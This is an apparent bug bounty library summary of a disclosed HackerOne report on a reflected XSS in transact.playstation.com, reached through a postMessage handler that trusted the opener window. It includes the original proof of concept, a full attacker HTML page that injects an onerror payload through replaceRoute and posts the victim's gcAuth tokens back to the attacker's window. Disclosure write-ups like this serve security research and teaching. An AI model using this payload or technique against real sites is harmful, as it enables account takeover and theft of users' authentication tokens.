# Reflected XSS on transact.playstation.com using postMessage from the opening window

postMessage handler on transact.playstation.com trusted any window that opened it, letting attacker inject an Ember route with HTML longDescription to trigger reflected XSS and steal gcAuth tokens.

- Payout: $1,000
- Severity: high
- Program: PlayStation
- Found by: vakzz
- Disclosed: 2021-03-30
- Write-up quality: 8/10
- Original: https://hackerone.com/reports/900619
- Library page: https://bugbountylibrary.com/r/h1%3A900619
- Tags: area:web domain:web impact:ato impact:data-leak kind:bounty platform:hackerone sev:high technique:chained technique:source-review vuln:xss

**Target:** transact.playstation.com Ember app postMessage handler (_receiveMessageFromTransactClientService)
**Root cause:** The postMessage listener only validated origin against the referrer, which an attacker-controlled opener window can satisfy; it then JSON-parsed attacker data and passed it to replaceRoute, allowing arbitrary route/model injection including HTML-rendered sku.longDescription.
**Steps:**
1. Attacker page runs `win = window.open("https://transact.playstation.com/")` so the popup's referrer/origin check passes.
2. After load, send `win.postMessage(JSON.stringify({action:"replaceRoute",route:"voucher.multi-product-details",model:{eligible:true,sku:{id:0,longDescription:"<img src=x onerror=...>"}}}),"*")`.
3. The route renders longDescription as HTML, firing the onerror payload.
4. Payload calls `valkyrie.transact.preflightRunner.getPromise("gcAuth").then(gcAuth => window.opener.postMessage(JSON.stringify(gcAuth),"*"))` to exfiltrate tokens to the opener.
**How found:** Researcher read the _receiveMessageFromTransactClientService handler, noticed the origin check compared e.origin to the referrer (satisfiable by an opener window), then enumerated Ember routes to find one rendering model fields as HTML (voucher.multi-product-details sku.longDescription).
**Exploitation:** Victim logged into Sony account visits attacker page, clicks button; attacker opens transact.playstation.com in a popup, waits 5s, posts a replaceRoute message injecting an XSS payload into voucher.multi-product-details, which executes in the transact origin and posts gcAuth tokens back to the attacker's opener window.
**Insight:** When a postMessage handler validates origin against referrer, an attacker-opened window passes the check—look for route/model injection sinks like replaceRoute and grep Ember routes for fields rendered with htmlSafe/{{{ }}}.

## Proof of concept (copied exactly from the original report)

**postMessage replaceRoute XSS payload**

```
win.postMessage(JSON.stringify({
                action: "replaceRoute",
                route: "voucher.multi-product-details",
                model: {
                    eligible: true,
                    sku: {
                        id: 0, longDescription: `
                            <img src=x onerror='alert(document.domain)'>`
                    }
                }
            }), "*");


Using the XSS, the current tokens from `gcAuth` can be retrieved and posted back to the opening window using:
valkyrie.transact.preflightRunner.getPromise("gcAuth").then((gcAuth) => window.opener.postMessage(JSON.stringify(gcAuth), "*"));


## Steps To Reproduce:
1. Log into <https://id.sonyentertainmentnetwork.com/id/management>
1. Visit <https://aw.rs/ps4/xss1.html>
1. Click the button and wait 5 seconds
1. The XSS will fire and post a message back to the opening window:


## Supporting Material/References:

Source of <https://aw.rs/ps4/xss1.html>
<!DOCTYPE html>
<html>

<body>
    <button onclick="start()">click me</button>
    <script>
        window.addEventListener("message", (msg) => {
            console.log("got message", msg);
            alert(msg.data);
        });

        async function start() {
            win = window.open("https://transact.playstation.com/", "transact");
            await new Promise((resolve) => setTimeout(resolve, 5000));

            win.postMessage(JSON.stringify({
                action: "replaceRoute",
                route: "voucher.multi-product-details",
                model: {
                    eligible: true,
                    sku: {
                        id: 0, longDescription: `
                            <img src=x onerror='
                                valkyrie.transact.preflightRunner.getPromise("gcAuth").then((gcAuth) => window.opener.postMessage(JSON.stringify(gcAuth), "*"));
                            '>`
                    }
                }
            }), "*");
        }
    </script>
</body>

</html>
```

